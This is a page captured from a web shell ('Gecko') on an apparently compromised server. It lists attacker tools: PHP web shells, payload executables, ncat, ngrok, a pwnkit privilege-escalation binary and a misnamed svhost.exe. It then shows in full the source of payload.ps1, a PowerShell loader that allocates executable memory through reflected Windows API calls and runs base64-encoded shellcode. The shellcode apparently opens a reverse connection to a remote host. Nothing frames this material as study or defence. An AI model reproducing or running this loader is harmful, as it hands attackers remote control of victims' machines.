Gecko [ 196.203.21.74 ]

Name	Size	Permission
.exe	[ DIR ]	drwxrwxrwx
ALFA_DATA	[ DIR ]	drwxrwxrwx
.mad-root	0 B	-rw-rw-rw-
202407101136061720604163972.jp...	182.78 KB	-rw-rw-rw-
202407101136061720604163994.jp...	44.21 KB	-rw-rw-rw-
2024071011360617206043cache.ph...	239 B	-rw-rw-rw-
202407101136151720604173624.jp...	207.24 KB	-rw-rw-rw-
202407101136241720604183416.jp...	196.71 KB	-rw-rw-rw-
202407101136331720604190611.jp...	203.2 KB	-rw-rw-rw-
202407141136061220804update.ex...	44.21 KB	-rwxrwxrwx
20240921100217folder.png	3.76 KB	-rw-rw-rw-
20240921100304cache.php	3.1 KB	-rw-rw-rw-
202501161710131737043808814.jp...	189.75 KB	-rw-rw-rw-
202501161710231737043820367.jp...	204.74 KB	-rw-rw-rw-
202501161710301737043828040.jp...	206.37 KB	-rw-rw-rw-
202501161710381737043836971.jp...	197.7 KB	-rw-rw-rw-
202501171614361737126871924.jp...	221.03 KB	-rw-rw-rw-
202501171614421737126881474.jp...	217.9 KB	-rw-rw-rw-
202501171614491737126887767.jp...	201.77 KB	-rw-rw-rw-
202501171614551737126894653.jp...	192.69 KB	-rw-rw-rw-
202604091303571.php	29 B	-rw-rw-rw-
202604151057381.php	239 B	-rw-rw-rw-
2026041510573813753cache.php	239 B	-rw-rw-rw-
202604151057381cache2.php	239 B	-rw-rw-rw-
20260416144314windows64.exe	48.5 KB	-rwxrwxrwx
7878.exe	205.5 KB	-rwxrwxrwx
AnyDesk .exe	7.94 MB	-rwxrwxrwx
Server.exe	93 KB	-rwxrwxrwx
adminer.php	465.43 KB	-rw-rw-rw-
alphaupload.php	2.72 MB	-rw-rw-rw-
cmd.php	1.08 KB	-rw-rw-rw-
exec.php	297 B	-rw-rw-rw-
gecko.php	68.74 KB	-rw-rw-rw-
host.exe	7 KB	-rwxrwxrwx
msf.exe	7 KB	-rwxrwxrwx
ncat.exe	362.43 KB	-rwxrwxrwx
ngrok.exe	31.18 MB	-rwxrwxrwx
notepad.exe	300.5 KB	-rwxrwxrwx
p.asp	49.81 KB	-rw-rw-rw-
payload.exe	7 KB	-rwxrwxrwx
payload.ps1	3.13 KB	-rw-rw-rw-
payload2.exe	7 KB	-rwxrwxrwx
pwnkit	10.99 KB	-rw-rw-rw-
setup.exe	7 KB	-rwxrwxrwx
shell.php	735 B	-rw-rw-rw-
svhost.exe	34.12 KB	-rwxrwxrwx
sysvol.exe	48.5 KB	-rwxrwxrwx
wroot.php	490.61 KB	-rw-rw-rw-

Code Editor : payload.ps1

function iTJuO {
        Param ($bF, $tAzh)
        $wNHSb = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

return $wNHSb.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($wNHSb.GetMethod('GetModuleHandle')).Invoke($null, @($bF)))), $tAzh))
}

function sy {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $xE6,
                [Parameter(Position = 1)] [Type] $h48mU = [Void]
        )

$uW0 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $uW0.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $xE6).SetImplementationFlags('Runtime, Managed')
        $uW0.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $h48mU, $xE6).SetImplementationFlags('Runtime, Managed')

return $uW0.CreateType()
}

[Byte[]]$nh = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgQblYsEOmSA+3SkhIi3JQSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhW8AAACLgIgAAABIhcB0ZEgB0FBEi0AgSQHQi0gY41NEi0wkCEj/yUGLNIhIAdZIMcBBwckNrEEBwTjgdfFFOdF121hEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCABFcuwalhEFUSYnkTInxQbr8XU71/9VMiepoAQEAAFlBukAJZ3H/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG6AZnaUf/VSInHahBBWEyJ4kiJ+UG62bH3Vf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6hHkNGP/Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBugiLe9P/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6hHkNGP/Vg/gAfShYQVdZaABAAABBWGoAWkG6TGgRff/VV1lBup3mAxr/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZQbox76Sj/9U=")
[Uint32]$yN2 = 0
$iOSD = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iTJuO kernel32.dll VirtualAlloc), (sy @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $nh.Length,0x3000, 0x04)

[System.Runtime.InteropServices.Marshal]::Copy($nh, 0, $iOSD, $nh.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iTJuO kernel32.dll VirtualProtect), (sy @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($iOSD, [Uint32]$nh.Length, 0x10, [Ref]$yN2)) -eq $true) {
        $cygT = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iTJuO kernel32.dll CreateThread), (sy @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$iOSD,[IntPtr]::Zero,0,[IntPtr]::Zero)
        [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iTJuO kernel32.dll WaitForSingleObject), (sy @([IntPtr], [Int32]))).Invoke($cygT,0xffffffff) | Out-Null
}

${this.title}

Code Editor : payload.ps1